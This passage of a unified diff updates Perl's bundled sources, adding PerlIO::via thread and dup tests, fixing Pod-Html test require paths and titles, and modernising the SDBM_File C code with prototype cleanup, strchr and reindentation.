+ my $call = "POSIX::$func(" . join(', ', 1 .. $try) . ')';
+ is(eval "$call; 1", undef, "$call fails");
+ like($@, $expect, "POSIX::$func for $try arguments gives expected error")
}
}
diff --git a/gnu/usr.bin/perl/ext/PerlIO-via/t/thread.t b/gnu/usr.bin/perl/ext/PerlIO-via/t/thread.t
new file mode 100644
index 00000000000..e4358f9c24b
--- /dev/null
+++ b/gnu/usr.bin/perl/ext/PerlIO-via/t/thread.t
@@ -0,0 +1,73 @@
+#!perl
+BEGIN {
+ unless (find PerlIO::Layer 'perlio') {
+ print "1..0 # Skip: not perlio\n";
+ exit 0;
+ }
+ require Config;
+ unless ($Config::Config{'usethreads'}) {
+ print "1..0 # Skip -- need threads for this test\n";
+ exit 0;
+ }
+ if (($Config::Config{'extensions'} !~ m!\bPerlIO/via\b!) ){
+ print "1..0 # Skip -- Perl configured without PerlIO::via module\n";
+ exit 0;
+ }
+}
+
+use strict;
+use warnings;
+use threads;
+
+my $tmp = "via$$";
+
+END {
+ 1 while unlink $tmp;
+}
+
+use Test::More tests => 2;
+
+our $push_count = 0;
+
+{
+ open my $fh, ">:via(Test1)", $tmp
+ or die "Cannot open $tmp: $!";
+ $fh->autoflush;
+
+ print $fh "AXAX";
+
+ # previously this would crash
+ threads->create(
+ sub {
+ print $fh "XZXZ";
+ })->join;
+
+ print $fh "BXBX";
+ close $fh;
+
+ open my $in, "<", $tmp;
+ my $line = <$in>;
+ close $in;
+
+ is($line, "AYAYYZYZBYBY", "check thread data delivered");
+
+ is($push_count, 1, "PUSHED not called for dup on thread creation");
+}
+
+package PerlIO::via::Test1;
+
+sub PUSHED {
+ my ($class) = @_;
+ ++$main::push_count;
+ bless {}, $class;
+}
+
+sub WRITE {
+ my ($self, $data, $fh) = @_;
+ $data =~ tr/X/Y/;
+ $fh->autoflush;
+ print $fh $data;
+ return length $data;
+}
+
+
diff --git a/gnu/usr.bin/perl/ext/PerlIO-via/t/via.t b/gnu/usr.bin/perl/ext/PerlIO-via/t/via.t
index 0619592606e..80577df140a 100755
--- a/gnu/usr.bin/perl/ext/PerlIO-via/t/via.t
+++ b/gnu/usr.bin/perl/ext/PerlIO-via/t/via.t
@@ -17,7 +17,7 @@ use warnings;
my $tmp = "via$$";
-use Test::More tests => 18;
+use Test::More tests => 26;
my $fh;
my $a = join("", map { chr } 0..255) x 10;
@@ -44,7 +44,7 @@ is($a, $b, 'compare original data with filtered version');
use warnings 'layer';
# Find fd number we should be using
- my $fd = open($fh,">$tmp") && fileno($fh);
+ my $fd = open($fh,'>',$tmp) && fileno($fh);
print $fh "Hello\n";
close($fh);
@@ -52,7 +52,7 @@ is($a, $b, 'compare original data with filtered version');
like( $warnings, qr/^Cannot find package 'Unknown::Module'/, 'warn about unknown package' );
# Now open normally again to see if we get right fileno
- my $fd2 = open($fh,"<$tmp") && fileno($fh);
+ my $fd2 = open($fh,'<',$tmp) && fileno($fh);
is($fd2,$fd,"Wrong fd number after failed open");
my $data = <$fh>;
@@ -84,6 +84,60 @@ is( $obj, 'Foo', 'search for package Foo' );
open $fh, '<:via(Bar)', "bar";
is( $obj, 'PerlIO::via::Bar', 'search for package PerlIO::via::Bar' );
+{
+ # [perl #131221]
+ ok(open(my $fh1, ">", $tmp), "open $tmp");
+ ok(binmode($fh1, ":via(XXX)"), "binmode :via(XXX) onto it");
+ ok(open(my $fh2, ">&", $fh1), "dup it");
+ close $fh1;
+ close $fh2;
+
+ # make sure the old workaround still works
+ ok(open($fh1, ">", $tmp), "open $tmp");
+ ok(binmode($fh1, ":via(YYY)"), "binmode :via(YYY) onto it");
+ ok(open($fh2, ">&", $fh1), "dup it");
+ print $fh2 "XZXZ";
+ close $fh1;
+ close $fh2;
+
+ ok(open($fh1, "<", $tmp), "open $tmp for check");
+ { local $/; $b = <$fh1> }
+ close $fh1;
+ is($b, "XZXZ", "check result is from non-filtering class");
+
+ package PerlIO::via::XXX;
+
+ sub PUSHED {
+ my $class = shift;
+ bless {}, $class;
+ }
+
+ sub WRITE {
+ my ($self, $buffer, $handle) = @_;
+
+ print $handle $buffer;
+ return length($buffer);
+ }
+ package PerlIO::via::YYY;
+
+ sub PUSHED {
+ my $class = shift;
+ bless {}, $class;
+ }
+
+ sub WRITE {
+ my ($self, $buffer, $handle) = @_;
+
+ $buffer =~ tr/X/Y/;
+ print $handle $buffer;
+ return length($buffer);
+ }
+
+ sub GETARG {
+ "XXX";
+ }
+}
+
END {
1 while unlink $tmp;
}
diff --git a/gnu/usr.bin/perl/ext/Pod-Html/t/anchorify.t b/gnu/usr.bin/perl/ext/Pod-Html/t/anchorify.t
index d7b180818ff..0677f9ed302 100644
--- a/gnu/usr.bin/perl/ext/Pod-Html/t/anchorify.t
+++ b/gnu/usr.bin/perl/ext/Pod-Html/t/anchorify.t
@@ -23,18 +23,18 @@ foreach $i (0..$#poddata) {
$heads{anchorify($1)} = 1 if $poddata[$i] =~ /=head[1-6]\s+(.*)/;
}
my %expected = map { $_ => 1 } qw(
- name
- description
- subroutine
- error
- method
- has_a_wordspace
- hastrailingwordspace
- hasleadingwordspace
- has_extra_internalwordspace
- hasquotes
- hasquestionmark
- has_hyphen_and_space
+ NAME
+ DESCRIPTION
+ Subroutine
+ Error
+ Method
+ Has_A_Wordspace
+ HasTrailingWordspace
+ HasLeadingWordspace
+ Has_Extra_InternalWordspace
+ Has_Quotes
+ Has_QuestionMark
+ Has_Hyphen_And_Space
);
is_deeply(
\%heads,
diff --git a/gnu/usr.bin/perl/ext/Pod-Html/t/feature.t b/gnu/usr.bin/perl/ext/Pod-Html/t/feature.t
index 94354c75f91..313928117fa 100644
--- a/gnu/usr.bin/perl/ext/Pod-Html/t/feature.t
+++ b/gnu/usr.bin/perl/ext/Pod-Html/t/feature.t
@@ -1,7 +1,7 @@
#!/usr/bin/perl -w # -*- perl -*-
BEGIN {
- require "t/pod2html-lib.pl";
+ require "./t/pod2html-lib.pl";
}
use strict;
diff --git a/gnu/usr.bin/perl/ext/Pod-Html/t/feature2.t b/gnu/usr.bin/perl/ext/Pod-Html/t/feature2.t
index 0cc00725051..dfafbe9e40d 100644
--- a/gnu/usr.bin/perl/ext/Pod-Html/t/feature2.t
+++ b/gnu/usr.bin/perl/ext/Pod-Html/t/feature2.t
@@ -2,7 +2,7 @@
BEGIN {
- require "t/pod2html-lib.pl";
+ require "./t/pod2html-lib.pl";
}
use strict;
diff --git a/gnu/usr.bin/perl/ext/Pod-Html/t/htmldir1.t b/gnu/usr.bin/perl/ext/Pod-Html/t/htmldir1.t
index 6a0857bd2b9..22632a18ba5 100644
--- a/gnu/usr.bin/perl/ext/Pod-Html/t/htmldir1.t
+++ b/gnu/usr.bin/perl/ext/Pod-Html/t/htmldir1.t
@@ -1,7 +1,7 @@
#!/usr/bin/perl -w # -*- perl -*-
BEGIN {
- require "t/pod2html-lib.pl";
+ require "./t/pod2html-lib.pl";
}
END {
@@ -52,7 +52,7 @@ __DATA__
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
-<title></title>
+<title>htmldir - Test --htmldir feature</title>
<meta http-equiv="content-type" content="text/html; charset=utf-8" />
<link rev="made" href="mailto:[PERLADMIN]" />
</head>
diff --git a/gnu/usr.bin/perl/ext/Pod-Html/t/htmldir2.t b/gnu/usr.bin/perl/ext/Pod-Html/t/htmldir2.t
index d9aab5efb79..36efdb7ad8a 100644
--- a/gnu/usr.bin/perl/ext/Pod-Html/t/htmldir2.t
+++ b/gnu/usr.bin/perl/ext/Pod-Html/t/htmldir2.t
@@ -1,7 +1,7 @@
#!/usr/bin/perl -w # -*- perl -*-
BEGIN {
- require "t/pod2html-lib.pl";
+ require "./t/pod2html-lib.pl";
}
use strict;
@@ -39,7 +39,7 @@ __DATA__
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
-<title></title>
+<title>htmldir - Test --htmldir feature</title>
<meta http-equiv="content-type" content="text/html; charset=utf-8" />
<link rev="made" href="mailto:[PERLADMIN]" />
</head>
diff --git a/gnu/usr.bin/perl/ext/Pod-Html/t/htmldir3.t b/gnu/usr.bin/perl/ext/Pod-Html/t/htmldir3.t
index 8006bf017c2..3bcf4d09c96 100644
--- a/gnu/usr.bin/perl/ext/Pod-Html/t/htmldir3.t
+++ b/gnu/usr.bin/perl/ext/Pod-Html/t/htmldir3.t
@@ -1,7 +1,7 @@
#!/usr/bin/perl -w # -*- perl -*-
BEGIN {
- require "t/pod2html-lib.pl";
+ require "./t/pod2html-lib.pl";
}
END {
@@ -48,7 +48,7 @@ __DATA__
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
-<title></title>
+<title>htmldir - Test --htmldir feature</title>
<meta http-equiv="content-type" content="text/html; charset=utf-8" />
<link rev="made" href="mailto:[PERLADMIN]" />
</head>
diff --git a/gnu/usr.bin/perl/ext/Pod-Html/t/htmldir4.t b/gnu/usr.bin/perl/ext/Pod-Html/t/htmldir4.t
index 31e7bdee70d..14435fa8d21 100644
--- a/gnu/usr.bin/perl/ext/Pod-Html/t/htmldir4.t
+++ b/gnu/usr.bin/perl/ext/Pod-Html/t/htmldir4.t
@@ -1,7 +1,7 @@
#!/usr/bin/perl -w # -*- perl -*-
BEGIN {
- require "t/pod2html-lib.pl";
+ require "./t/pod2html-lib.pl";
}
use strict;
@@ -34,7 +34,7 @@ __DATA__
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
-<title></title>
+<title>htmldir - Test --htmldir feature</title>
<meta http-equiv="content-type" content="text/html; charset=utf-8" />
<link rev="made" href="mailto:[PERLADMIN]" />
</head>
diff --git a/gnu/usr.bin/perl/ext/Pod-Html/t/htmldir5.t b/gnu/usr.bin/perl/ext/Pod-Html/t/htmldir5.t
index 820590f2da1..3f53d3ffba1 100644
--- a/gnu/usr.bin/perl/ext/Pod-Html/t/htmldir5.t
+++ b/gnu/usr.bin/perl/ext/Pod-Html/t/htmldir5.t
@@ -1,7 +1,7 @@
#!/usr/bin/perl -w # -*- perl -*-
BEGIN {
- require "t/pod2html-lib.pl";
+ require "./t/pod2html-lib.pl";
}
END {
@@ -37,7 +37,7 @@ __DATA__
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
-<title></title>
+<title>htmldir - Test --htmldir feature</title>
<meta http-equiv="content-type" content="text/html; charset=utf-8" />
<link rev="made" href="mailto:[PERLADMIN]" />
</head>
diff --git a/gnu/usr.bin/perl/ext/Pod-Html/t/htmlescp.t b/gnu/usr.bin/perl/ext/Pod-Html/t/htmlescp.t
index bb85e839350..fd5207ab223 100644
--- a/gnu/usr.bin/perl/ext/Pod-Html/t/htmlescp.t
+++ b/gnu/usr.bin/perl/ext/Pod-Html/t/htmlescp.t
@@ -1,7 +1,7 @@
#!/usr/bin/perl -w # -*- perl -*-
BEGIN {
- require "t/pod2html-lib.pl";
+ require "./t/pod2html-lib.pl";
}
use strict;
@@ -14,7 +14,7 @@ __DATA__
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
-<title></title>
+<title>Escape Sequences Test</title>
<meta http-equiv="content-type" content="text/html; charset=utf-8" />
<link rev="made" href="mailto:[PERLADMIN]" />
</head>
diff --git a/gnu/usr.bin/perl/ext/Pod-Html/t/htmllink.t b/gnu/usr.bin/perl/ext/Pod-Html/t/htmllink.t
index b13bf0cdf87..033c93f16f9 100644
--- a/gnu/usr.bin/perl/ext/Pod-Html/t/htmllink.t
+++ b/gnu/usr.bin/perl/ext/Pod-Html/t/htmllink.t
@@ -1,7 +1,7 @@
#!/usr/bin/perl -w # -*- perl -*-
BEGIN {
- require "t/pod2html-lib.pl";
+ require "./t/pod2html-lib.pl";
}
use strict;
@@ -14,7 +14,7 @@ __DATA__
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
-<title></title>
+<title>htmllink - Test HTML links</title>
<meta http-equiv="content-type" content="text/html; charset=utf-8" />
<link rev="made" href="mailto:[PERLADMIN]" />
</head>
diff --git a/gnu/usr.bin/perl/ext/Pod-Html/t/poderr.t b/gnu/usr.bin/perl/ext/Pod-Html/t/poderr.t
index f83057eceb8..ae1a751f951 100644
--- a/gnu/usr.bin/perl/ext/Pod-Html/t/poderr.t
+++ b/gnu/usr.bin/perl/ext/Pod-Html/t/poderr.t
@@ -1,7 +1,7 @@
#!/usr/bin/perl -w # -*- perl -*-
BEGIN {
- require "t/pod2html-lib.pl";
+ require "./t/pod2html-lib.pl";
}
use strict;
diff --git a/gnu/usr.bin/perl/ext/Pod-Html/t/podnoerr.t b/gnu/usr.bin/perl/ext/Pod-Html/t/podnoerr.t
index b49a3ac1cf3..3679a7b1fdb 100644
--- a/gnu/usr.bin/perl/ext/Pod-Html/t/podnoerr.t
+++ b/gnu/usr.bin/perl/ext/Pod-Html/t/podnoerr.t
@@ -1,7 +1,7 @@
#!/usr/bin/perl -w # -*- perl -*-
BEGIN {
- require "t/pod2html-lib.pl";
+ require "./t/pod2html-lib.pl";
}
use strict;
diff --git a/gnu/usr.bin/perl/ext/SDBM_File/dbe.c b/gnu/usr.bin/perl/ext/SDBM_File/dbe.c
index 18ce54677e8..d1e3bd5e77c 100644
--- a/gnu/usr.bin/perl/ext/SDBM_File/dbe.c
+++ b/gnu/usr.bin/perl/ext/SDBM_File/dbe.c
@@ -1,4 +1,5 @@
#include <stdio.h>
+#include <string.h>
#ifndef VMS
#include <sys/file.h>
#include <ndbm.h>
@@ -47,16 +48,11 @@
char *optarg; /* Global argument pointer. */
-#ifdef VMS
-#define index strchr
-#endif
-
char
getopt(int argc, char **argv, char *optstring)
{
int c;
char *place;
- extern char *index();
static int optind = 0;
static char *scan = NULL;
@@ -78,7 +74,7 @@ getopt(int argc, char **argv, char *optstring)
}
c = *scan++;
- place = index(optstring, c);
+ place = strchr(optstring, c);
if (place == NULL || c == ':' || c == ';') {
(void) fprintf(stderr, "%s: unknown option %c\n", argv[0], c);
diff --git a/gnu/usr.bin/perl/ext/SDBM_File/dbu.c b/gnu/usr.bin/perl/ext/SDBM_File/dbu.c
index 4631d40acd6..ef1963d3501 100644
--- a/gnu/usr.bin/perl/ext/SDBM_File/dbu.c
+++ b/gnu/usr.bin/perl/ext/SDBM_File/dbu.c
@@ -8,12 +8,7 @@
#endif
#include <string.h>
-#ifdef BSD42
-#define strchr index
-#endif
-
extern int getopt();
-extern char *strchr();
extern void oops();
char *progname;
diff --git a/gnu/usr.bin/perl/ext/SDBM_File/hash.c b/gnu/usr.bin/perl/ext/SDBM_File/hash.c
index f0115baa545..01445f59b96 100644
--- a/gnu/usr.bin/perl/ext/SDBM_File/hash.c
+++ b/gnu/usr.bin/perl/ext/SDBM_File/hash.c
@@ -14,34 +14,34 @@
* polynomial conversion ignoring overflows
* [this seems to work remarkably well, in fact better
* then the ndbm hash function. Replace at your own risk]
- * use: 65599 nice.
+ * use: 65599 nice.
* 65587 even better.
*/
long
sdbm_hash(const char *str, int len)
{
- unsigned long n = 0;
+ unsigned long n = 0;
#ifdef DUFF
-#define HASHC n = *str++ + 65599 * n
+#define HASHC n = *str++ + 65599 * n
- if (len > 0) {
- int loop = (len + 8 - 1) >> 3;
+ if (len > 0) {
+ int loop = (len + 8 - 1) >> 3;
- switch(len & (8 - 1)) {
- case 0: do {
- HASHC; case 7: HASHC;
- case 6: HASHC; case 5: HASHC;
- case 4: HASHC; case 3: HASHC;
- case 2: HASHC; case 1: HASHC;
- } while (--loop);
- }
+ switch(len & (8 - 1)) {
+ case 0: do {
+ HASHC; /* FALLTHROUGH */ case 7: HASHC; /* FALLTHROUGH */
+ case 6: HASHC; /* FALLTHROUGH */ case 5: HASHC; /* FALLTHROUGH */
+ case 4: HASHC; /* FALLTHROUGH */ case 3: HASHC; /* FALLTHROUGH */
+ case 2: HASHC; /* FALLTHROUGH */ case 1: HASHC;
+ } while (--loop);
+ }
- }
+ }
#else
- while (len--)
- n = *str++ + 65599 * n;
+ while (len--)
+ n = *str++ + 65599 * n;
#endif
- return n;
+ return n;
}
diff --git a/gnu/usr.bin/perl/ext/SDBM_File/pair.c b/gnu/usr.bin/perl/ext/SDBM_File/pair.c
index 62045ec9773..2e4d8074e5a 100644
--- a/gnu/usr.bin/perl/ext/SDBM_File/pair.c
+++ b/gnu/usr.bin/perl/ext/SDBM_File/pair.c
@@ -17,26 +17,26 @@
#include "tune.h"
#include "pair.h"
-#define exhash(item) sdbm_hash((item).dptr, (item).dsize)
+#define exhash(item) sdbm_hash((item).dptr, (item).dsize)
/*
* forward
*/
-static int seepair proto((char *, int, const char *, int));
+static int seepair(char *, int, const char *, int);
/*
* page format:
- * +------------------------------+
- * ino | n | keyoff | datoff | keyoff |
- * +------------+--------+--------+
- * | datoff | - - - ----> |
- * +--------+---------------------+
- * | F R E E A R E A |
- * +--------------+---------------+
- * | <---- - - - | data |
- * +--------+-----+----+----------+
- * | key | data | key |
- * +--------+----------+----------+
+ * +------------------------------+
+ * ino | n | keyoff | datoff | keyoff |
+ * +------------+--------+--------+
+ * | datoff | - - - ----> |
+ * +--------+---------------------+
+ * | F R E E A R E A |
+ * +--------------+---------------+
+ * | <---- - - - | data |
+ * +--------+-----+----+----------+
+ * | key | data | key |
+ * +--------+----------+----------+
*
* calculating the offsets for free area: if the number
* of entries (ino[0]) is zero, the offset to the END of
@@ -47,116 +47,116 @@ static int seepair proto((char *, int, const char *, int));
int
fitpair(char *pag, int need)
{
- int n;
- int off;
- int free;
- short *ino = (short *) pag;
+ int n;
+ int off;
+ int free;
+ short *ino = (short *) pag;
- off = ((n = ino[0]) > 0) ? ino[n] : PBLKSIZ;
- free = off - (n + 1) * sizeof(short);
- need += 2 * sizeof(short);
+ off = ((n = ino[0]) > 0) ? ino[n] : PBLKSIZ;
+ free = off - (n + 1) * sizeof(short);
+ need += 2 * sizeof(short);
- debug(("free %d need %d\n", free, need));
+ debug(("free %d need %d\n", free, need));
- return need <= free;
+ return need <= free;
}
void
putpair(char *pag, datum key, datum val)
{
- int n;
- int off;
- short *ino = (short *) pag;
+ int n;
+ int off;
+ short *ino = (short *) pag;
- off = ((n = ino[0]) > 0) ? ino[n] : PBLKSIZ;
+ off = ((n = ino[0]) > 0) ? ino[n] : PBLKSIZ;
/*
* enter the key first
*/
- off -= key.dsize;
- (void) memcpy(pag + off, key.dptr, key.dsize);
- ino[n + 1] = off;
+ off -= key.dsize;
+ (void) memcpy(pag + off, key.dptr, key.dsize);
+ ino[n + 1] = off;
/*
* now the data
*/
- off -= val.dsize;
- (void) memcpy(pag + off, val.dptr, val.dsize);
- ino[n + 2] = off;
+ off -= val.dsize;
+ (void) memcpy(pag + off, val.dptr, val.dsize);
+ ino[n + 2] = off;
/*
* adjust item count
*/
- ino[0] += 2;
+ ino[0] += 2;
}
datum
getpair(char *pag, datum key)
{
- int i;
- int n;
- datum val;
- short *ino = (short *) pag;
+ int i;
+ int n;
+ datum val;
+ short *ino = (short *) pag;
- if ((n = ino[0]) == 0)
- return nullitem;
+ if ((n = ino[0]) == 0)
+ return nullitem;
- if ((i = seepair(pag, n, key.dptr, key.dsize)) == 0)
- return nullitem;
+ if ((i = seepair(pag, n, key.dptr, key.dsize)) == 0)
+ return nullitem;
- val.dptr = pag + ino[i + 1];
- val.dsize = ino[i] - ino[i + 1];
- return val;
+ val.dptr = pag + ino[i + 1];
+ val.dsize = ino[i] - ino[i + 1];
+ return val;
}
int
exipair(char *pag, datum key)
{
- short *ino = (short *) pag;
+ short *ino = (short *) pag;
- if (ino[0] == 0)
- return 0;
+ if (ino[0] == 0)
+ return 0;
- return (seepair(pag, ino[0], key.dptr, key.dsize) != 0);
+ return (seepair(pag, ino[0], key.dptr, key.dsize) != 0);
}
#ifdef SEEDUPS
int
duppair(char *pag, datum key)
{
- short *ino = (short *) pag;
- return ino[0] > 0 && seepair(pag, ino[0], key.dptr, key.dsize) > 0;
+ short *ino = (short *) pag;
+ return ino[0] > 0 && seepair(pag, ino[0], key.dptr, key.dsize) > 0;
}
#endif
datum
getnkey(char *pag, int num)
{
- datum key;
- int off;
- short *ino = (short *) pag;
+ datum key;
+ int off;
+ short *ino = (short *) pag;
- num = num * 2 - 1;
- if (ino[0] == 0 || num > ino[0])
- return nullitem;
+ num = num * 2 - 1;
+ if (ino[0] == 0 || num > ino[0])
+ return nullitem;
- off = (num > 1) ? ino[num - 1] : PBLKSIZ;
+ off = (num > 1) ? ino[num - 1] : PBLKSIZ;
- key.dptr = pag + ino[num];
- key.dsize = off - ino[num];
+ key.dptr = pag + ino[num];
+ key.dsize = off - ino[num];
- return key;
+ return key;
}
int
delpair(char *pag, datum key)
{
- int n;
- int i;
- short *ino = (short *) pag;
+ int n;
+ int i;
+ short *ino = (short *) pag;
- if ((n = ino[0]) == 0)
- return 0;
+ if ((n = ino[0]) == 0)
+ return 0;
- if ((i = seepair(pag, n, key.dptr, key.dsize)) == 0)
- return 0;
+ if ((i = seepair(pag, n, key.dptr, key.dsize)) == 0)
+ return 0;
/*
* found the key. if it is the last entry
* [i.e. i == n - 1] we just adjust the entry count.
@@ -164,52 +164,47 @@ delpair(char *pag, datum key)
* shift offsets onto deleted offsets, and adjust them.
* [note: 0 < i < n]
*/
- if (i < n - 1) {
- int m;
- char *dst = pag + (i == 1 ? PBLKSIZ : ino[i - 1]);
- char *src = pag + ino[i + 1];
- int zoo = dst - src;
+ if (i < n - 1) {
+ int m;
+ char *dst = pag + (i == 1 ? PBLKSIZ : ino[i - 1]);
+ char *src = pag + ino[i + 1];
+ int zoo = dst - src;
- debug(("free-up %d ", zoo));
+ debug(("free-up %d ", zoo));
/*
* shift data/keys down
*/
- m = ino[i + 1] - ino[n];
+ m = ino[i + 1] - ino[n];
#ifdef DUFF
-#define MOVB *--dst = *--src
-
- if (m > 0) {
- int loop = (m + 8 - 1) >> 3;
-
- switch (m & (8 - 1)) {
- case 0: do {
- MOVB; case 7: MOVB;
- case 6: MOVB; case 5: MOVB;
- case 4: MOVB; case 3: MOVB;
- case 2: MOVB; case 1: MOVB;
- } while (--loop);
- }
- }
+#define MOVB *--dst = *--src
+
+ if (m > 0) {
+ int loop = (m + 8 - 1) >> 3;
+
+ switch (m & (8 - 1)) {
+ case 0: do {
+ MOVB; /* FALLTHROUGH */ case 7: MOVB; /* FALLTHROUGH */
+ case 6: MOVB; /* FALLTHROUGH */ case 5: MOVB; /* FALLTHROUGH */
+ case 4: MOVB; /* FALLTHROUGH */ case 3: MOVB; /* FALLTHROUGH */
+ case 2: MOVB; /* FALLTHROUGH */ case 1: MOVB;
+ } while (--loop);
+ }
+ }
#else
-#ifdef HAS_MEMMOVE
- dst -= m;
- src -= m;
- memmove(dst, src, m);
-#else
- while (m--)
- *--dst = *--src;
-#endif
+ dst -= m;
+ src -= m;
+ memmove(dst, src, m);
#endif
/*
* adjust offset index up
*/
- while (i < n - 1) {
- ino[i] = ino[i + 2] + zoo;
- i++;
- }
- }
- ino[0] -= 2;
- return 1;
+ while (i < n - 1) {
+ ino[i] = ino[i + 2] + zoo;
+ i++;
+ }
+ }
+ ino[0] -= 2;
+ return 1;
}
/*
@@ -220,52 +215,52 @@ delpair(char *pag, datum key)
static int
seepair(char *pag, int n, const char *key, int siz)
{
- int i;
- int off = PBLKSIZ;
- short *ino = (short *) pag;
-
- for (i = 1; i < n; i += 2) {
- if (siz == off - ino[i] &&
- memEQ(key, pag + ino[i], siz))
- return i;
- off = ino[i + 1];
- }
- return 0;
+ int i;
+ int off = PBLKSIZ;
+ short *ino = (short *) pag;
+
+ for (i = 1; i < n; i += 2) {
+ if (siz == off - ino[i] &&
+ memEQ(key, pag + ino[i], siz))
+ return i;
+ off = ino[i + 1];
+ }
+ return 0;
}
void
splpage(char *pag, char *New, long int sbit)
{
- datum key;
- datum val;
-
- int n;
- int off = PBLKSIZ;
- char cur[PBLKSIZ];
- short *ino = (short *) cur;
-
- (void) memcpy(cur, pag, PBLKSIZ);
- (void) memset(pag, 0, PBLKSIZ);
- (void) memset(New, 0, PBLKSIZ);
-
- n = ino[0];
- for (ino++; n > 0; ino += 2) {
- key.dptr = cur + ino[0];
- key.dsize = off - ino[0];
- val.dptr = cur + ino[1];
- val.dsize = ino[0] - ino[1];
+ datum key;
+ datum val;
+
+ int n;
+ int off = PBLKSIZ;
+ char cur[PBLKSIZ];
+ short *ino = (short *) cur;
+
+ (void) memcpy(cur, pag, PBLKSIZ);
+ (void) memset(pag, 0, PBLKSIZ);
+ (void) memset(New, 0, PBLKSIZ);
+
+ n = ino[0];
+ for (ino++; n > 0; ino += 2) {
+ key.dptr = cur + ino[0];
+ key.dsize = off - ino[0];
+ val.dptr = cur + ino[1];
+ val.dsize = ino[0] - ino[1];
/*
* select the page pointer (by looking at sbit) and insert
*/
- (void) putpair((exhash(key) & sbit) ? New : pag, key, val);
+ (void) putpair((exhash(key) & sbit) ? New : pag, key, val);
- off = ino[1];
- n -= 2;
- }
+ off = ino[1];
+ n -= 2;
+ }
- debug(("%d split %d/%d\n", ((short *) cur)[0] / 2,
- ((short *) New)[0] / 2,
- ((short *) pag)[0] / 2));
+ debug(("%d split %d/%d\n", ((short *) cur)[0] / 2,
+ ((short *) New)[0] / 2,
+ ((short *) pag)[0] / 2));
}
/*
@@ -277,22 +272,22 @@ splpage(char *pag, char *New, long int sbit)
int
chkpage(char *pag)
{
- int n;
- int off;
- short *ino = (short *) pag;
-
- if ((n = ino[0]) < 0 || n > (int)(PBLKSIZ / sizeof(short)))
- return 0;
-
- if (n > 0) {
- off = PBLKSIZ;
- for (ino++; n > 0; ino += 2) {
- if (ino[0] > off || ino[1] > off ||
- ino[1] > ino[0])
- return 0;
- off = ino[1];
- n -= 2;
- }
- }
- return 1;
+ int n;
+ int off;
+ short *ino = (short *) pag;
+
+ if ((n = ino[0]) < 0 || n > (int)(PBLKSIZ / sizeof(short)))
+ return 0;
+
+ if (n > 0) {
+ off = PBLKSIZ;
+ for (ino++; n > 0; ino += 2) {
+ if (ino[0] > off || ino[1] > off ||
+ ino[1] > ino[0])
+ return 0;
+ off = ino[1];
+ n -= 2;
+ }
+ }
+ return 1;
}
diff --git a/gnu/usr.bin/perl/ext/SDBM_File/pair.h b/gnu/usr.bin/perl/ext/SDBM_File/pair.h
index b6944edd071..7191556a70c 100644
--- a/gnu/usr.bin/perl/ext/SDBM_File/pair.h
+++ b/gnu/usr.bin/perl/ext/SDBM_File/pair.h
@@ -9,14 +9,14 @@
#define putpair sdbm__putpair
#define splpage sdbm__splpage
-extern int fitpair proto((char *, int));
-extern void putpair proto((char *, datum, datum));
-extern datum getpair proto((char *, datum));
-extern int exipair proto((char *, datum));
-extern int delpair proto((char *, datum));
-extern int chkpage proto((char *));
-extern datum getnkey proto((char *, int));
-extern void splpage proto((char *, char *, long));
+extern int fitpair(char *, int);
+extern void putpair(char *, datum, datum);
+extern datum getpair(char *, datum);
+extern int exipair(char *, datum);
+extern int delpair(char *, datum);
+extern int chkpage(char *);
+extern datum getnkey(char *, int);
+extern void splpage(char *, char *, long);
#ifdef SEEDUPS
-extern int duppair proto((char *, datum));
+extern int duppair(char *, datum);
#endif
diff --git a/gnu/usr.bin/perl/ext/SDBM_File/sdbm.c b/gnu/usr.bin/perl/ext/SDBM_File/sdbm.c
index cf5dc75d27c..2099857fb84 100644
--- a/gnu/usr.bin/perl/ext/SDBM_File/sdbm.c
+++ b/gnu/usr.bin/perl/ext/SDBM_File/sdbm.c
@@ -23,13 +23,7 @@
# include <sys/file.h>
#endif
-#ifdef I_STRING
-# ifndef __ultrix__
-# include <string.h>
-# endif
-#else
-# include <strings.h>
-#endif
+#include <string.h>
/*
* externals
@@ -41,8 +35,8 @@
extern "C" {
#endif
-extern Malloc_t malloc proto((MEM_SIZE));
-extern Free_t free proto((Malloc_t));
+extern Malloc_t malloc(MEM_SIZE);
+extern Free_t free(Malloc_t);
#ifdef __cplusplus
}
@@ -53,11 +47,11 @@ const datum nullitem = {0, 0};
/*
* forward
*/
-static int getdbit proto((DBM *, long));
-static int setdbit proto((DBM *, long));
-static int getpage proto((DBM *, long));
-static datum getnext proto((DBM *));
-static int makroom proto((DBM *, long, int));
+static int getdbit(DBM *, long);
+static int setdbit(DBM *, long);
+static int getpage(DBM *, long);
+static datum getnext(DBM *);
+static int makroom(DBM *, long, int);
/*
* useful macros
diff --git a/gnu/usr.bin/perl/ext/SDBM_File/sdbm.h b/gnu/usr.bin/perl/ext/SDBM_File/sdbm.h
index 8d9cffd479f..e3535697089 100644
--- a/gnu/usr.bin/perl/ext/SDBM_File/sdbm.h
+++ b/gnu/usr.bin/perl/ext/SDBM_File/sdbm.h
@@ -53,12 +53,6 @@ typedef struct {
extern const datum nullitem;
-#if defined(__STDC__) || defined(__cplusplus) || defined(CAN_PROTOTYPE)
